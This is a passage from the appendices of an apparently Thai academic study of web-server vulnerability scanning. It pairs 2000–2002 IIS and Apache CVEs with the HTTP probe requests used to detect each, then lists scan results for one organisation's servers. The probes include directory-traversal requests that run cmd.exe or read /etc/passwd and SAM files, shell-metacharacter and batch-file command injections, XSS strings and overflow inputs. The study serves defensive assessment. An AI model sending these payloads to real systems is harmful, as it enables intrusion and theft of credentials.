"Chunked Transfer Encoding Buffer Overflow Vulnerability." 

รายการรองขอขอมูล 

GET /shtml.dll 

GET /stealth_badfile.shtml 

GET /test.shtml 

GET /test.shtml?%3CSCRIPT%3Ealert(document.URL)%3C%2FSCRIPT%3E=x 

GET /cgi-bin/mlog.shtml 

GET /cgi-bin/shtml.ddl 

GET /cgi-local/shtml.ddl 

GET /cgi/shtml.ddl 

GET /cgis/shtml.ddl 

GET /_vti_bin/shtml.dll 

GET /_vti_bin/shtml.dll/_vti_rpc 

GET /_vti_bin/shtml.dll/demon.html 

GET /_vti_bin/shtml.dll/nstealth.html 

GET /_vti_bin/shtml.dll/tstt.htm 

GET /_vti_bin/shtml.exe 
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ตารางที่ ง.18 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 2000 – 0226 (ตอ) 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  2000 – 0226 IIS 4.0 allows attackers to cause a denial of service by requesting a large 

buffer in a POST or PUT command which consumes memory, aka the 

"Chunked Transfer Encoding Buffer Overflow Vulnerability." 

รายการรองขอขอมูล 

GET /_vti_bin/shtml.exe/_vti_rpc 

GET /_vti_bin/shtml.exe/pipe.htm 

GET /_vti_bin/shtml.exe/unc.htm 

GET /bin/shtml.ddl 

GET /*.shtml/ 

GET /cgi-bin/admins.shtml 

 

ตารางที่ ง.19 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 2000 – 0287 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  2000 – 0287 The BizDB CGI script bizdb-search.cgi allows remote attackers to 

execute arbitrary commands via shell metacharacters in the dbname 

parameter. 

รายการรองขอขอมูล 

GET /bizdb1-search.cgi 

GET /cgis/bizdb1-search.cgi 

GET /cgi-bin/bizdb1-search.cgi 

GET /cgi-bin/bizdb1-search.cgi?template=bizdb-

summary&dbname=;ls|mail%20test@@test.com|&f6=^a.*& 

GET /cgi-local/bizdb1-search.cgi 

GET /cgi/bizdb1-search.cgi 

GET /cgis/bizdb1-search.cgi 

GET /bin/bizdb1-search.cgi 
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ตารางที่ ง.20 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 2000 – 0770                         

ซีวีอี 2000 – 0884 และซีวีอี 2000 – 0886 

หมายเลขซีวีอี  คําอธิบาย 
ซีวีอี  2000 – 0770 IIS 4.0 and 5.0 does not properly restrict access to certain types of files 

when their parent folders have less restrictive permissions, which could 

allow remote attackers to bypass access restrictions to some files 

ซีวีอี  2000 – 0884 IIS 4.0 and 5.0 allows remote attackers to read documents outside of the 

web root, and possibly execute arbitrary commands, via malformed 

URLs that contain UNICODE encoded characters, aka the "Web Server 

Folder Traversal" vulnerability. 

ซีวีอี  2000 – 0886 IIS 5.0 allows remote attackers to execute arbitrary commands via a 

malformed request for an executable file whose name is appended with 

operating system commands, aka the "Web Server File Request Parsing" 

vulnerability. 

รายการรองขอขอมูล 
GET /bin/..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir 

GET /bin/..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir 

GET /bin/..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir 

GET /bin/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir 

GET /%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini 

GET /%2E%2E/%2E%2E/Program%20Files/AnalogX/SimpleServer/www/server.log 

GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts 

GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd 

GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini 

GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd 

GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/winnt/win.ini 

GET /%2e%2e/%2e%2e/%2e%2e/scandisk.log 

GET /%2e%2e/%2e%2e/scandisk.log 

GET /%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e 

GET /%3cscript%3ealert(%22xss%22)%3c/script%3e/ 

GET /%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini 

GET /%5c..%5c..%5c..%5cwindows%5cwin%2eini 

GET /%5c..%5c..%5c..%5cwindows%5cwin.ini 

GET /%db<script>alert('Illegal%20Instruction%20Labs%200wnz%20YoU!!!');</script>/ 

GET /%s%s%s 

GET /..%5C..%5C..%5C..%5C..%5C..%5C/boot.ini 

 



 106 

ตารางที่ ง.21 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 2000 – 0778 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  2000 – 0778 IIS 5.0 allows remote attackers to obtain source code for .ASP files and 

other scripts via an HTTP GET request with a "Translate: f" header, aka 

the "Specialized Header" vulnerability. 

รายการรองขอขอมูล 
GET /default.asp 

GET /index.asp 

GET /iishelp/iis/misc/default.asp 

GET /cgi-bin/DirectoryListing.asp 

GET /cgi-bin/Test11.asp 

GET /cgi-bin/UploadScript11.asp 

GET /cgi-bin/formprocessor.asp?MailTo=test@test.com&MailFrom=test@test.net&Message=tst&MailTempl 

GET /cgi-bin/ntdaddy.asp 

GET /cgi-bin/source.asp 

GET /cgi-bin/uploadn.asp 

GET /admin.asp 

GET /clients.asp 

GET /debug.asp 

GET /cgi-bin/store/clients.asp 

GET /cgi-bin/store/pass.asp 

GET /cgi/users.asp 

GET /bin/password/clients.asp 

GET /bin/password/pass.asp 

GET /bin/password/password.asp 

GET /cgi-bin/paths.asp 

GET /cgi-bin/read.asp 

GET /cgi-bin/readme.asp 

GET /~operator/access.asp 

GET /~operator/web.asp 

GET /~operator/www.asp 

GET /~root/INSTALL.asp 

GET /~root/access.asp 

GET /~root/adm.asp 

GET /~root/admin.asp 

GET /~root/admins.asp 

GET /~root/backup.asp 

GET /~root/check.asp 

GET /~root/client.asp 

GET /~root/clients.asp 
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ตารางที่ ง.22 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 2001 – 0151 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  2001 – 0151 IIS 5.0 allows remote attackers to cause a denial of service via a series of 

malformed WebDAV requests. 

รายการรองขอขอมูล 
GET /xxxxxxx.....xxxxxxxxx 

GET /xxxxxxx.....xxxxxxxxx/%20[URL=http://www.testing-are-you-a-proxy.com/]http://www.testing-ar 

GET /XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 

GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
 

ตารางที่ ง.23 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 2001 – 0241 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  2001 – 0241 Buffer overflow in Internet Printing ISAPI extension in Windows 2000 

allows remote attackers to gain root privileges via a long print request that 

is passed to the extension through IIS 5.0. 

รายการรองขอขอมูล 
GET /admisapi 

GET /admisapi/fpadmin.htm 

GET /ext.dll?MfcISAPICommand=LoadPage&page=doc.htx&a0=/,,,/path/../notallowed.sam&a1=_&a2=2048&a 

GET /ext.dll?MfcISAPICommand=LoadPage&page=doc.htx&a0=/,,,/path/allowed.doc&a1=_&a2=2048&a3=8&a4 

GET /ext.dll?MfcISAPICommand=LoadPage&page=doc.htx&a0=/,,,/path1/file.doc&a1=_&a2=2048&a3=8&a4=1 

GET /ext.dll?MfcISAPICommand=LoadPage&page=doc.htx&a0=/,,,/path99/doesnotexist.doc&a1=_&a2=2048& 

GET /isapi 

GET /isapi/tstisapi.dll 

GET /cgi-bin/isapi 

GET /isapi 
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ตารางที่ ง.24 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 2001 – 0333 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  2001 – 0333 Directory traversal vulnerability in IIS 5.0 and earlier allows remote 

attackers to execute arbitrary commands by encoding .. (dot dot) and "\" 

characters twice. 

รายการรองขอขอมูล 
GET /cgi-bin/..\..\..\..\..\..\windows/system32/ping.exe 

GET /cgi-bin/..\..\..\..\..\..\winnt/notepad.exe 

GET /cgi-bin/..\..\..\..\..\..\winnt/system32/ping.exe 

GET /cgi-bin/..\..\..\..\..\..\winnt\system32\cmd.exe?/c+dir+c:\ 

GET /cgi-bin/..\\..\\..\\..\\..\\..\\winnt\\system32\\cmd.exe?/c+dir+c:\\ 

GET /cgi-bin/..\\..\\..\\..\\..\\..\\winnt\system32\cmd.exe?/c+dir+c:\\ 

GET /cgi-bin/awl/auctionweaver.pl?flag1=1&catdir=\..\..\..\..\..\..\..\..\&fromfile=Boot.ini 

GET /_vti_bin/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c\+dir 

GET /../..\ 

GET /..\ 

GET /..\.. 

GET /..\..\..\..\..\..\..\..\..\winnt\win.ini 

GET /..\..\..\..\..\..\temp\temp.class 

GET /..\..\..\..\..\..\winnt\system32\cmd.exe?/c+ 

GET /..\..\..\boot.ini 

GET /..\..\..\winnt\repair\sam._ 

GET /..\..\windows\win.ini 

GET /..\\..\\..\\..\\..\\..\\..\\boot.ini 

GET /..\\..\\..\winnt\repair\sam._ 

GET /\..\..\..\..\..\boot.ini 

GET /\..\..\..\..\..\winnt\win.ini 

GET /\..\..\..\windows\win.ini 

GET /ca/..\\..\\..\\..\\..\\..\\..\\..\\winnt/\\win.ini 

GET /ca//\\../\\../\\../\\../\\../\\../\\windows/\\win.ini 
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ตารางที่ ง.25 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 2001 – 0500 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  2001 – 0500 Buffer overflow in ISAPI extension (idq.dll) in Index Server 2.0 and 

Indexing Service 2000 in IIS 6.0 beta and earlier allows remote 

attackers to execute arbitrary commands via a long argument to 

Internet Data Administration (.ida) 

รายการรองขอขอมูล 
GET /blabla.idq 

GET /demon.ida 

GET /demon.idq 

GET /eatme.idq 

GET /filetest.ida 

GET /filetest.idq 

HEAD /ida200.ida 

HEAD /idq200.idq 

GET /invalidfilename.ida 

GET /invalidfilename.idq 

GET /query.idq 

GET /query.idq??CiTemplate=../../../../../../../../../../winnt/win.ini 

GET /query.idq?CiTemplate=../../../../../winnt/win.ini%20%20%20%20%20%20%20%20%20%20%20%20%20%20 

GET /stealth.ida 

GET /test.idq 

GET ....../......ida/con 

GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN 

GET /a.ida?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

GET 

/a.ida?CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

CC 

GET /a.idq?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 

GET /null.ida?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 
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ตารางที่ ง.26 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 2001 – 0507 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  2001 – 0507 IIS 5.0 uses relative paths to find system files that will run in-process, 

which allows local users to gain privileges via a Trojan horse file, aka the 

"System file listing privilege elevation" vulnerability. 

รายการรองขอขอมูล 
GET /c/inetpub/scripts/root.exe?/c+dir 

GET /c/winnt/system32/cmd.exe?/c+dir 

GET /cmd.exe?/c+dir 

GET /cmd1.exe?/c+dir 

GET /d/inetpub/scripts/root.exe?/c+dir 

GET /d/winnt/system32/cmd.exe?/c+dir 

GET /..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: 

GET /Rpc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\ 

GET /Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+ 

GET /_vti_log/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir 

GET /backup/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir 

GET /bak/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir 

GET /cmsample/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\ 

GET /exchange/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: 

GET /fpsample/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\ 

GET /home/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir 

GET /iisadmin/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\ 

GET /mail/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir 

GET /perl/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir 

GET /printers/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\ 

GET /printers/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\ 

GET /secret/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir 

GET /stats/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir 

GET /MSADC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\ 

GET /PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\ 

GET /PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ 

GET /_vti_bin/..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir 

GET /_vti_txt/..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir 

GET /_vti_txt/..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir 

GET /adsamples/..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir 

GET /adsamples/..%255c..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir 
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ตารางที่ ง.26 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 2001 – 0507 (ตอ) 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  2001 – 0507 IIS 5.0 uses relative paths to find system files that will run in-process, 

which allows local users to gain privileges via a Trojan horse file, aka the 

"System file listing privilege elevation" vulnerability. 

รายการรองขอขอมูล 
GET /aspx/..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir 

GET /bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ 

GET /certadm/..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir 

GET /certenroll/..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir 

GET /certque/..%255c..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir 

GET /certsrv/..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir 

GET /css/..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir 

GET /exchange/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\ 

GET /iishelp/..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir 

GET /iishelp/..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir 

GET /iissamples/..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir 

GET /iissamples/..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir 

GET /images/..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir 

GET /images/..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir 

GET /inc/..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir 

GET /inc/..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir 

GET /include/..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir 

GET /include/..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir 

GET /isapi/..%252f..%252f..%252f..%252f..%252f/system32/cmd.exe?/c+dir 

GET /regsys/..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir 

GET /rpc/..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir 

GET /samples/..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir 

GET /samples/..%255c..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir 

GET /scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\ 

GET /scripts/..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir 

GET /cgi-bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\ 

GET /cgi-bin/..%255c..%255c..%255c..%255cwin2000/system32/cmd.exe?/c+dir 

GET /cgi-bin/..%255c..%255c..%255c..%255cwindows/system32/cmd.exe?/c+dir 

GET /cgi-bin/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir 

GET /_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir 

GET /_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\ 

GET /_vti_bin/..%255c..%255c..%255c..%255cwin2000/system32/cmd.exe?/c+dir 
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ตารางที่ ง.27 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 2002 – 0061 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  2002 – 0061 Apache for Win32 before 1.3.24, and 2.0.x before 2.0.34-beta, allows 

remote attackers to execute arbitrary commands via shell metacharacters 

provided as arguments to batch (.bat) or .cmd scripts, which are sent 

unfiltered to the shell interpreter 

รายการรองขอขอมูล 
GET /autoexec.bat 

GET /cgi-dos/args.cmd 

GET /cgi-dos/foo.cmd?xxx&dir 

GET /input.bat 

GET /session/pagecount?page=../../../../../../autoexec.bat 

GET /printers/somefile.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c%20dir%20C:\ 

GET /PBServer/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir 

GET /Rpc/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir 

GET /_mem_bin/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir 

GET /_vti_bin/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir 

GET /bin/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir 

GET /cgi-bin/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c%20dir%20C:\ 

GET /cgi-bin/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir 

GET /cgi/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir 

GET /exchange/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir 

GET /msadc/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c%20dir%20C:\ 

GET /msadc/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir 

GET /samples/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir 

GET /scripts/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c%20dir%20C:\ 

GET /cgi-bin/echo.bat 

GET /cgi-bin/echo.bat?&dir+c:\ 

GET /cgi-bin/echo.bat?&type+d:\Progra~1\Sambar\config\passwd 

GET /cgi-bin/foo.cmd?xxx&dir 

GET /cgi-bin/hello.bat 

GET /cgi-bin/hello.bat?&dir+c:\ 

GET /cgi-bin/input.bat 

GET /cgi-bin/input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\ 

GET /cgi-bin/input2.bat 

GET /cgi-bin/input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\ 

GET /cgi-bin/script.bat%3f&dir 
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ตารางที่ ง.28 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 2002 – 0082 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  2002 – 0082 The dbm and shm session cache code in mod_ssl before 2.8.7-1.3.23, 

and Apache-SSL before 1.3.22+1.46, does not properly initialize memory 

using the i2d_SSL_SESSION function 

รายการรองขอขอมูล 

GET /dbm/ 

GET /dbms/ 

GET /_vti_shm 

GET /dbm 

GET /dbms 

GET /nul..dbm 

GET /nul.dbm 

 

ตารางที่ ง.29 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 2002 – 0392 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  2002 – 0392 Apache 1.3 through 1.3.24, and Apache 2.0 through 2.0.36, allows 

remote attackers to cause a denial of service and possibly execute 

arbitrary code via a chunk-encoded HTTP request that causes Apache to 

use an incorrect size. 

รายการรองขอขอมูล 
GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

GET /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 

GET /cgi-bin/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
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ตารางที่ ง.30 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 2002 – 0513 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  2002 – 0513 The PHP administration script in popper_mod 1.2.1 and earlier relies on 

Apache .htaccess authentication, which allows remote attackers to gain 

privileges if the script is not appropriately configured by the 

administrator. 

รายการรองขอขอมูล 

GET /.HTACCESS. 

GET /.cobalt/sysManage/../admin/.htaccess 

GET /.htaccess 

GET /.htaccess.old 

GET /.htaccess~ 

GET /epoch/.htaccess 

GET /cgis/.htaccess 

GET /protected/.htaccess 

GET /secure/.htaccess 

GET /secured/.htaccess 

GET /security/.htaccess 

GET /~.htaccess 

GET /cgi-bin/.htaccess.old 

GET /cgi-local/.htaccess 

GET /cgi/.htaccess 

GET /cgis/.htaccess 

GET /bin/.htaccess 

 



 

ภาคผนวก จ 
 

รายละเอียดขอมูลที่ไดจากการทดลอง 

ผลการทดลองที่ไดจากการเก็บรวบรวมขอมูลของเว็บเซิรฟเวอรที่เปนหนวย

ตัวอยางภายในหนวยงานแหงหนึ่งไดผลการตรวจสอบดังตารางที่ จ.1 – จ.9 

ตารางที่ จ.1 ผลการตรวจสอบเว็บเซิรฟเวอรของหนวยงานแหงหนึง่หนวยที ่1 

หมายเลขจุดบกพรอง ผลการตวจสอบจุดบกพรอง 

ซีวีอี 1999-0021 ไมพบจุดบกพรอง 

ซีวีอี 1999-0066 ไมพบจุดบกพรอง 

ซีวีอี 1999-0067 ไมพบจุดบกพรอง 

ซีวีอี 1999-0070 ไมพบจุดบกพรอง 

ซีวีอี 1999-0146 ไมพบจุดบกพรอง 

ซีวีอี 1999-0172 ไมพบจุดบกพรอง 

ซีวีอี 1999-0174 ไมพบจุดบกพรอง 

ซีวีอี 1999-0191 ไมพบจุดบกพรอง 

ซีวีอี 1999-0237 ไมพบจุดบกพรอง 

ซีวีอี 1999-0260 ไมพบจุดบกพรอง 

ซีวีอี 1999-0262 ไมพบจุดบกพรอง 

ซีวีอี 1999-0264 ไมพบจุดบกพรอง 

ซีวีอี 1999-0266 ไมพบจุดบกพรอง 

ซีวีอี 1999-0278 ไมพบจุดบกพรอง 

ซีวีอี 1999-0874 ไมพบจุดบกพรอง 

ซีวีอี 2000-0010 ไมพบจุดบกพรอง 

ซีวีอี 2000-0208 ไมพบจุดบกพรอง 

ซีวีอี 2000-0226 ไมพบจุดบกพรอง 

ซีวีอี 2000-0287 ไมพบจุดบกพรอง 

ซีวีอี 2000-0770 ตรวจสอบพบจุดบกพรอง 

ซีวีอี 2000-0778 ไมพบจุดบกพรอง 

ซีวีอี 2000-0884 ตรวจสอบพบจุดบกพรอง 
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ตารางที่ จ.1 ผลการตรวจสอบเว็บเซิรฟเวอรของหนวยงานแหงหนึง่หนวยที ่1 (ตอ) 

หมายเลขจุดบกพรอง ผลการตวจสอบจุดบกพรอง 

ซีวีอี 2000-0886 ตรวจสอบพบจุดบกพรอง 

ซีวีอี 2000-0941 ไมพบจุดบกพรอง 

ซีวีอี 2001-0151 ไมพบจุดบกพรอง 

ซีวีอี 2001-0241 ไมพบจุดบกพรอง 

ซีวีอี 2001-0333 ตรวจสอบพบจุดบกพรอง 

ซีวีอี 2001-0500 ไมพบจุดบกพรอง 

ซีวีอี 2001-0507 ไมพบจุดบกพรอง 

ซีวีอี 2002-0061 ไมพบจุดบกพรอง 

ซีวีอี 2002-0082 ไมพบจุดบกพรอง 

ซีวีอี 2002-0392 ไมพบจุดบกพรอง 

ซีวีอี 2002-0513 ไมพบจุดบกพรอง 

 

ตารางที่ จ.2 ผลการตรวจสอบเว็บเซิรฟเวอรของหนวยงานแหงหนึง่หนวยที ่2 

หมายเลขจุดบกพรอง ผลการตวจสอบจุดบกพรอง 

ซีวีอี 1999-0021 ตรวจสอบพบจุดบกพรอง 

ซีวีอี 1999-0066 ไมพบจุดบกพรอง 

ซีวีอี 1999-0067 ไมพบจุดบกพรอง 

ซีวีอี 1999-0070 ไมพบจุดบกพรอง 

ซีวีอี 1999-0146 ไมพบจุดบกพรอง 

ซีวีอี 1999-0172 ไมพบจุดบกพรอง 

ซีวีอี 1999-0174 ไมพบจุดบกพรอง 

ซีวีอี 1999-0191 ไมพบจุดบกพรอง 

ซีวีอี 1999-0237 ไมพบจุดบกพรอง 

ซีวีอี 1999-0260 ไมพบจุดบกพรอง 

ซีวีอี 1999-0262 ไมพบจุดบกพรอง 

ซีวีอี 1999-0264 ไมพบจุดบกพรอง 

ซีวีอี 1999-0266 ไมพบจุดบกพรอง 
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ตารางที่ จ.2 ผลการตรวจสอบเว็บเซิรฟเวอรของหนวยงานแหงหนึง่หนวยที ่2 (ตอ) 

หมายเลขจุดบกพรอง ผลการตวจสอบจุดบกพรอง 

ซีวีอี 1999-0278 ไมพบจุดบกพรอง 

ซีวีอี 1999-0874 ไมพบจุดบกพรอง 

ซีวีอี 2000-0010 ไมพบจุดบกพรอง 

ซีวีอี 2000-0208 ไมพบจุดบกพรอง 

ซีวีอี 2000-0226 ไมพบจุดบกพรอง 

ซีวีอี 2000-0287 ไมพบจุดบกพรอง 

ซีวีอี 2000-0770 ไมพบจุดบกพรอง 

ซีวีอี 2000-0778 ไมพบจุดบกพรอง 

ซีวีอี 2000-0884 ไมพบจุดบกพรอง 

ซีวีอี 2000-0886 ไมพบจุดบกพรอง 

ซีวีอี 2000-0941 ไมพบจุดบกพรอง 

ซีวีอี 2001-0151 ไมพบจุดบกพรอง 

ซีวีอี 2001-0241 ไมพบจุดบกพรอง 

ซีวีอี 2001-0333 ไมพบจุดบกพรอง 

ซีวีอี 2001-0500 ไมพบจุดบกพรอง 

ซีวีอี 2001-0507 ไมพบจุดบกพรอง 

ซีวีอี 2002-0061 ไมพบจุดบกพรอง 

ซีวีอี 2002-0082 ไมพบจุดบกพรอง 

ซีวีอี 2002-0392 ไมพบจุดบกพรอง 

ซีวีอี 2002-0513 ไมพบจุดบกพรอง 
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ตารางที่ จ.3 ผลการตรวจสอบเว็บเซิรฟเวอรของหนวยงานแหงหนึง่หนวยที ่3 

หมายเลขจุดบกพรอง ผลการตวจสอบจุดบกพรอง 

ซีวีอี 1999-0021 ไมพบจุดบกพรอง 

ซีวีอี 1999-0066 ไมพบจุดบกพรอง 

ซีวีอี 1999-0067 ไมพบจุดบกพรอง 

ซีวีอี 1999-0070 ไมพบจุดบกพรอง 

ซีวีอี 1999-0146 ไมพบจุดบกพรอง 

ซีวีอี 1999-0172 ไมพบจุดบกพรอง 

ซีวีอี 1999-0174 ไมพบจุดบกพรอง 

ซีวีอี 1999-0191 ไมพบจุดบกพรอง 

ซีวีอี 1999-0237 ไมพบจุดบกพรอง 

ซีวีอี 1999-0260 ไมพบจุดบกพรอง 

ซีวีอี 1999-0262 ไมพบจุดบกพรอง 

ซีวีอี 1999-0264 ไมพบจุดบกพรอง 

ซีวีอี 1999-0266 ไมพบจุดบกพรอง 

ซีวีอี 1999-0278 ไมพบจุดบกพรอง 

